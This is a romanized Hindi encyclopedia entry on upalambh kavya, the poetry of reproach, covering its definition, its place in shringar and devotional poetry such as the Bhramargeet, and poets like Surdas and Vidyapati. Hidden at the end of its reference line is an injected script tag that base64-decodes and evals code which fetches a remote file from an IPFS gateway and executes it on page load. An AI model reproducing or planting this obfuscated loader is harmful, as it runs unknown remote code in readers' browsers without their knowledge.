उपालंभ काव्य
upalanbh kavy prachin sanskrit hiandi kavyacharyoan ke matanusar mukhyat: shrriangarakavy ka ek bhed, jisamean nayika ki vishvast sakhi upalanbh (ulahana) dekar nayak ko nayika ke anukool karati hai. lekin sarvatr sakhi dvara hi nayika nayak ko upalanbhapoorn sandesh nahian deti, balki sanyog shrriangar mean nayika svayan hi nayak ko upalanbh deti hai. kahian-kahian nayika, pakshi, megh athava pavan dvara bhi nayak ko upalanbh bhejati hai. aisa pray: viyog shrriangar mean dekh p data hai.
lokakavy mean virahini nayika kaga adi pakshiyoan ke madhyam se athava pravasi pati ke nagaradi se ae pathik ke madhyam se upalanbh deti hai. navaparinita yuvati mayake ke atmiy janoan ki abhavajany vedana tatha bahan bhaee ki kalpit upeksha ka upalanbh deti dekh p dati hai. ishtadev ke prati dasy bhav rakhanevale bhakt kaviyoan ne (yatha sooradas) bhi upalanbh ka ashray liya hai.
kiantu yah paribhasha apane mean poorn nahian hai. upalanbh mean matr ulahana nahian hota ya priyapatr ki nianda hi nahian hoti; isaka mukhy bhav hai, kisi prakar priy sahachary ki anubhooti ya cheshta, sahayogakaankshajany vikalata aur milan ki abhilasha. paribhasha ke isi vaishishty ke karan upalanbh kavy keval shrriangar tak hi simit nahian mana ja sakata.
hiandi bhaktikavy mean upalanbh paryapt matra mean milata hai. radha tatha gopiyoan ke upalanbh ke sath mata yashoda ka krishna ke prati madhur upalanbh, krishna ka yashoda tatha balaram ke prati upalanbh tatha vinayabhavana ke aantargat bhaktoan ka apane aradhy ke prati upalanbh bhi bhaktikavy ke suandar prasang haian. krishna ke mathura chale jane ke bad jab nand, yashoda, radha, gop, gopiyaan sab atyant du:khi haian, usi samay uddhav krishna ki or se gopiyoan ko samajhane-bujhane ate haian. shrimadbhagavat ke dasham skandh mean gopiyoan dvara uddhav ko upalakshy banakar krishna ko upalanbh dene ka atyant suandar varnan hai. isi prasang ko kavy mean 'bhramaragit' ke nam se abhihit kiya gaya hai.
maithil kavi vidyapati, chandidas, sooradas, nandadas adi prachin kaviyoan ne bharateandu harishchandr aur jagannathadas ratnakar adi idhar ke kaviyoan ne upalanbh kavy ka paryapt prayog kiya hai. kuchh hasyaras ke kaviyoan ne bhi yatr-tatr upalanbh ka sahara liya hai.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 125 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>